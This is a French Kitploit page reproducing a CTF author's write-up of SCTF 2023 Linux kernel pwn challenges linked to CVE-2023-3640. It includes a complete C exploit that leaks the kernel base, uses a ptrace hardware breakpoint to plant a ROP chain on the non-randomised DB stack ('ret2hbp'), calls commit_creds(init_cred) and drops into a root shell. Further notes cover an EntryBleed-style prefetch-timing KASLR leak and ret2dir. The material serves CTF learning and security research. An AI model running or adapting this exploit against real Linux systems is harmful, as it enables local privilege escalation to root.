Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-3640 — SCTF 2023 kernel pwn && CVE-2023-3640 | Kitploit
Outils/GitHubGitHub/pray77/cve-2023-3640
Analyse des VulnérabilitésExploitationCTFApprentissage et ÉducationExploitation de Binaires
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 kernel pwn && CVE-2023-3640

Voir le dépôt
291il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SCTF2023_kernelpwn

SCTF 2023 kernel pwn

Aparté : petite annonce — je suis un étudiant de licence, diplômé en 2024, et je participe au recrutement d'automne de cette année. N'hésitez pas à me contacter ~

sycrop

Cette épreuve vise à tester deux points.

  1. Au début de la zone de mapping de la cpu entry area, se trouvent plusieurs adresses dont les offsets par rapport à la section text du noyau sont fixes. Voir l'image ci-dessous pour plus de détails. Ce n'est qu'une petite astuce, apparue pour la première fois lors du KCTF de Google, puis rencontrée plusieurs fois dans des compétitions internationales.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. En déclenchant un point d'arrêt matériel en mode utilisateur, on peut pousser le contenu des registres sur la DB stack, située à un offset fixe de la per cpu entry area. Or, avant Linux 6.2, la per cpu entry area n'était pas randomisée : son adresse était fixe. Cela permettait donc de construire une chaîne ROP à une adresse fixe du noyau. C'est le point innovant de cette épreuve ; je l'ai provisoirement nommée ret2hbp. Ce nom n'a pour but que de faciliter la description de cette technique d'attaque ; je ne revendique pas d'originalité. En réalité, la voie du développement de l'exploitation du noyau est déjà suffisamment fascinante en elle-même ; ramasser un coquillage sur la plage suffit à rendre heureux : )

Pour les adresses et offsets exacts, référez-vous à l'exp. J'espère surtout que vous pourrez déboguer par vous-mêmes.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

En réalité, ce n'est qu'une épreuve d'exploitation 1day, l'idée de base provient de cet article de pj0 chez Google. Le travail de l'auteur a simplement consisté à en faire une épreuve de CTF, afin de permettre à tous d'apprendre cette méthode d'exploitation que je trouve personnellement puissante et intéressante, et de ressentir le charme d'obtenir un shell en n'écrivant qu'un seul octet à une seule adresse. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

Cette épreuve implique une fuite d'informations noyau de type 0day. Cependant, il existe des solutions non intentionnelles (les deux équipes qui l'ont résolue ont toutes deux utilisé des solutions non intentionnelles).

L'épreuve est une version renforcée de sycrop, sans le leak, car elle utilise la version 6.2, dans laquelle la per cpu entry area a été randomisée.

  1. Il faut d'abord leak. Le point clé ici est une vulnérabilité CPU. On notera que dans le script de démarrage, -enable-kvm et -cpu host utilisent le CPU de la machine physique. En réalité, dans la plupart des cas, les CPU Intel sont affectés par cette vulnérabilité. Voir l'article sur l'1day Entrybleed (https://www.willsroot.io/2022/12/entrybleed.html#comment-form). Avec le script ci-dessus, on peut extraire le kaslr.
  2. Pour la partie ROP, selon l'idée de sycrop, il faudrait effectuer un stack pivot vers la DB stack. Mais à ce stade, la per cpu entry area est randomisée, donc la DB stack l'est aussi (elle se trouve à l'offset per cpu entry area + 0xf000). En réalité, lorsque KPTI est activé, non seulement le point d'entrée des appels système est mappé en espace utilisateur (entry_SYSCALL_64 d'EntryBleed), mais la per cpu entry area est également mappée. Il est donc possible d'obtenir l'offset en calculant la différence de temps à l'aide d'instructions de prefetch. Le script détaillé ne pourra être publié qu'après accord du fabricant pour la divulgation (mais en réalité, c'est déjà expliqué ci-dessus ; je suis sûr que les experts pourront le bricoler).
  3. Concernant les solutions non intentionnelles, la partie ROP peut utiliser ret2dir. C'est une négligence de ma part : lors de la conception de l'épreuve, j'avais pensé à vérifier si ret2dir pouvait fonctionner, mais par manque de temps, après avoir terminé l'essentiel de l'épreuve, j'ai oublié de m'en occuper. Mais ce n'est pas si grave, au moins cette épreuve a une solution.
Télécharger l’outil